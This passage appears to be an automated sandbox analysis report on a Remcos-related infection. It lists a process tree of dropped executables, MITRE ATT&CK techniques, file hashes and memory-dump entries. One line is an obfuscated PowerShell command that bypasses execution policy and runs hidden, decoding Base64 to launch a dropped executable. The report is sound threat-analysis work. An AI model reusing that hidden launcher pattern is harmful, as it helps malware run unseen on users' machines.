        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:6112
  - - C:\Users\Admin\AppData\Local\Temp\ufmqcj.exe
      "C:\Users\Admin\AppData\Local\Temp\ufmqcj.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:3796
    - - C:\ProgramData\System\service.exe
        
        "C:\ProgramData\System\service.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetWindowsHookEx
        
        PID:4344
  - - C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe
      "C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4824
    - - C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe
        
        C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe
        5⤵
        Executes dropped EXE
        
        PID:5340

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:2428

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$f0nhwi=7628;$eruqug=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$f0nhwi=7628;$10mbdl=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHJzdWxjdFZRLmV4ZQ==')));$f0nhwi=7628;& $eruqug -FilePath $10mbdl"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Users\Admin\AppData\Roaming\rsulctVQ.exe
  "C:\Users\Admin\AppData\Roaming\rsulctVQ.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Users\Admin\AppData\Roaming\rsulctVQ.exe
    C:\Users\Admin\AppData\Roaming\rsulctVQ.exe
    3⤵
    - Executes dropped EXE
    PID:4312

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 204B
SHA256 7cc81a0d9f711c65a4674bd901b86781a509abf092db9f718961c92f4cc6671d
MD5 336dbef21f242d41ea60f5b0aa63bff6
SHA1 e5240e57c5436542fa6bd0234af0eae2b0e35066
SHA512 2074f525abca79017e8b3577acc4353848df7797854d64b335cacdeaeed11db6456708d13b389156bdd025d49a90339c08133648e0ec5f16e254830c9f5673bb
TLSH
T148D022BA5DB2D88082258880D3E2617EDD8822E58130A861F059702E88077C00E9623B
MD5 SHA1 SHA512 TLSH

Submit Download

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 306B
SHA256 d44d6a2c46d1f4d863327b1fe7808c6fa87eb59951a24dc31997a244100a2d16
MD5 24675a2966c505ee7581fa48d21bf0a9
SHA1 047f82c43a701e32d157771d2fb199ec2da9af63
SHA512 1969b7faef5da18f0dd2fa2157846a2485726166103d0b0ff0ffe24ab804c3a5a0b6b085a46756bee344ce85d7c63ff6efcca8feec133bf3ace736de5aede390
TLSH
T1A9E0EBBD4DF5B8A04538C444D2D771BE9DCC26F99334E890B01AB01E8A07BC14EC903B
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1yz9mtd08u2g.ps1

Path C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2g.ps1
Size 1KB
SHA256 41cf0feaa2f61d1f615586d820030c22e010192e1b01fe544e3db89561fd384f
MD5 4c01a4def8dbe185cc430095b97bf53a
SHA1 505a1a48d5c5c24aa40b06303ce2252206b6b4cf
SHA512 50591d2bd19a1bf936629706326d5bd9f14d9852ac1f1b6d0f6ae25caeee3e9798e1142b3d044cef1a33f55cc5e716938abace6f33b713f135bcdaddb3cfbd06
TLSH
T177316261ABA1EE6900859067DFE25F45E2315C0D3A892A1EF9C6C9DC60071FBB8993C5
MD5 SHA1 SHA512 TLSH

Submit Download

1yz9mtd08u2ga

Path C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2ga
Size 66KB
SHA256 a63b70794764d42d7a641acf1481688a1f1f05df5e9e5107d3befc23a7ebe86b
MD5 edf89f73cce11e555c60ff6c484b78ad
SHA1 ecee6b4a980b07688fcb1125dc154b0f16bbb40b
SHA512 abffe72330346921f7543382816a703731826d0ccf7991b3df54d5de13389b3071619e2ce9547a58b91dcecbf5408329a8a65b8f773a4ee43e9f8aa92f920ee5
SSDEEP 1536:QKbybitfcY2tJTyIFczekAl054PC/0V/AjiYB336B:Q1Wtfc50rzSm5JsV/+TBHY
TLSH
T1CA6301CAA69778BC1DB494765A2D927D228A81546D1BCCBB2BC373C76531A000CFB733
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1yz9mtd08u2gb

Path C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2gb
Size 66KB
SHA256 1777259a842a94bd555c79551058c7b8469b1151f882d6b90e3321b65ef63d93
MD5 d06bfb6faf4abcb2d51438dd5275db5e
SHA1 33a59c459f60086d234a38cd0d8efe16975dd839
SHA512 27b39cb66d907d00faf620a71a6e7b5d7f91696e52181bc21868cf73b65d2c9e59ffcfab04efe9673ac5995d29b6bf5c4b89fb3d65b95172a05f8cf7b1bf2d52
SSDEEP 1536:W0VeD0J/I0j3DCoYePSbRy5MhrPFAsOYmCUr74yRiyi13wGeN:W0AQJ/v5tPh50r9AbYFUrpPqSN
TLSH
T18C630208AD53B9368A1ECD3DA2078E3E3593C350E97B4B12B5789D8E715B64C378B12D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_fayvg4a1.wag.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fayvg4a1.wag.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

hxsxwq.exe

Path C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe
Size 1.4MB
SHA256 b4069196449e573e9df81ba012441208a3a83931f5e1cd7814d290ddd09f94b1
MD5 a4773100ced464dcd4a53eaf32178355
SHA1 7474a8aaf92bf14219c5bf4eb695be74c5132260
SHA512 60aaf502fc2d3fbf0eea4369639e2e272b452886c99bcc8d0cac2b6d56fae89325f83e93ade791fb1b43524565aa40d639f94d5e1db0e4463d5cc033d3a27398
SSDEEP 24576:FYIawfiZUzmFGTamenI84bN4xmAJ5cyrsb3y/qv5dCIEpAh0JyXYPw:FYIawqcmITamenI8+N96frY3hv6BpOg+
TLSH
T11D652269661DC813C8C643741977EF7A5658AEDAE121C3428EFAFDDBBC269533C08381
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jxjewr.js

Path C:\Users\Admin\AppData\Local\Temp\jxjewr.js
Size 2.0MB
SHA256 c813e9326857b6ac79dbaea552675d372732a0be9eef02ab41dfd453fd0d0159
MD5 f5de11013da9495fa96bbc6443bd4bcb
SHA1 dfd03950c17cf6acc0bcda98b712038dd5c6683b
SHA512 c5cedbdc661e4f46595b2681840911ec9afdc470d929abdb2361570d8d35192e2fd74bdf7e3c99c130595b75d04cb87a2108b7a905e3da88a3e4ca8a761f2de4
SSDEEP 6144:cZGCBhJlvt17yHQRoan8Xtdf1h57Psk4LOXe5g:cZGCBhJFkQRozdNh57Psk4LOXe6
TLSH
T177A5F77CCE46136B133ACA15CD986316E658B70326AF458C1CDB4F4E8EA774A2BC742D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rgpydl.exe

Path C:\Users\Admin\AppData\Local\Temp\rgpydl.exe
Size 626KB
SHA256 abf4860525b5302cd3bc4ba6a60f7b04ec801ed4729f3217b38680be7a7048f6
MD5 4acb621e1e5044c33c102c74fc9244cf
SHA1 ce8ca76ad0bf9906335980c373e854d70ec022f3
SHA512 a65ff2a19ebfc1225580d3835e90fa93d38e2a0580789b82fbec980b6d9ced3a7720fba28b8e81d279ec4f54dbb662895bc920f1709acf105100dbf1d95ac2e8
SSDEEP 12288:qZL8K7flZQP2MfAeWoqOKpqs3+Jt6eJcJYYoF5ZrF:UQKjlZQuaVWoqVpqsuJt6YcJYY05
TLSH
T106D47D4AA3A441F4D077C235CA838537E6B2BC056670862F13D74E5B6F273A15F2EB26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

smumtd085oaa

Path C:\Users\Admin\AppData\Local\Temp\smumtd085oa\smumtd085oaa
Size 67KB
SHA256 6c39f118d9106f3cccd382b1788dc795df1b7cf8fa5a437a44fb346660ecaca6
MD5 7c90f3fa68193129cc82c8854a189715
SHA1 05785fa597a7ebe497de8539b4ee055f7df57a92
SHA512 22f0c967d98c9ddac1a7ce18d124ca3cf05a8b41245cc430ae1ed997a7cc3f13b79e7fa77e11ea904d349d29b361add914ad6cf0d87277524682a58bea34969d
SSDEEP 1536:PS82NAyYNBlxu6M4JfPiBj29KN3AfEp/ONRXNRTVVR1vQFGtwqd4y:Pj2qPwP4JX/IwuaR/TVVR1Dt94y
TLSH
T1286302268E415C3CAC3454B0A4122D5832EA6F7BEECDA2D175CC920D2DE5C4657CFABA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

smumtd085oab

Path C:\Users\Admin\AppData\Local\Temp\smumtd085oa\smumtd085oab
Size 67KB
SHA256 fefec78db947007e36599024df8e402aedf823320203bc55423c4352e74bbc3f
MD5 f5ec43d40490930508dc5c31bdf4693d
SHA1 9ab81199febcf848e21c96fd9440af5e190ec505
SHA512 2a43ab0e8bc6b94393b348ac46575e00834a0e0a14b041e75eec9d3c92b50e00c4842452f1160d9fb4e28f56468f4eed19ad6b819d31586634a3591d1bb12edc
SSDEEP 1536:2OReHjq8fuwVDccNH6MLhR2bDCDygeV619HRjBzAIGQJmhrKwTi28t:2ORkVDzNH5LqdgeV6jRdzAPtrKwTi/
TLSH
T1C46302637C54BFA4D72947EE32D530281E530A0A908D9DBFA5EF9173BA44190AFC2D6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ufmqcj.exe

Path C:\Users\Admin\AppData\Local\Temp\ufmqcj.exe
Size 645KB
SHA256 6f55f3937b0668f756b5ecc4b2e20fd87d8a943a8154cd8a35ba84a886b08656
MD5 4b5976d50d03014b78356e658314da65
SHA1 b1db50b7643b77d4d69092b942bd13abd5f67170
SHA512 17ce2de6eeb36b9d172bdce6961f194e662bad510430f52e6f56648b2fef275d857c7096552a8ccd713e75334ccebd0823df63747e079f90bcb4ead282408f55
SSDEEP 12288:zIfxS5XkH4nOqwitNfuquCwgs69gy3V5v+BNyo3PoL5aDz:05GXkH4nnwitNfuq9wgs3y3V5vgNyo3E
TLSH
T14AE46D59A39402F8D0B7C135C982953BE7B27C065571472F03D70E9B2F276A16F3AB26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2436-57-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/4824-99-0x0000027B7E900000-0x0000027B7EA34000-memory.dmp

Download

memory/4824-97-0x0000027B65490000-0x0000027B654AA000-memory.dmp

Download

memory/4824-96-0x0000027B63470000-0x0000027B635D6000-memory.dmp

Download

memory/5340-103-0x0000000140000000-0x00000001400AB000-memory.dmp

Download

memory/6092-14-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-21-0x0000013338AE0000-0x0000013338B32000-memory.dmp

Download

memory/6092-25-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-26-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-16-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-17-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-15-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-13-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-12-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-11-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-4-0x00000133389D0000-0x00000133389F2000-memory.dmp

Download

memory/6092-18-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-22-0x0000013338A10000-0x0000013338A22000-memory.dmp

Download

memory/6092-19-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-20-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-23-0x0000013338B60000-0x0000013338B70000-memory.dmp

Download

memory/6092-3-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-7-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6092-2-0x00007FF95CD9F000-0x00007FF95CDA0000-memory.dmp

Download

memory/6092-8-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

Download

memory/6112-101-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-102-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-86-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-85-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-63-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-62-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-65-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-58-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-64-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-59-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-54-0x00000204C3AF0000-0x00000204C3B40000-memory.dmp

Download

memory/6112-55-0x00000204C3AA0000-0x00000204C3AB2000-memory.dmp

Download

memory/6112-114-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-115-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-119-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download

memory/6112-120-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

Download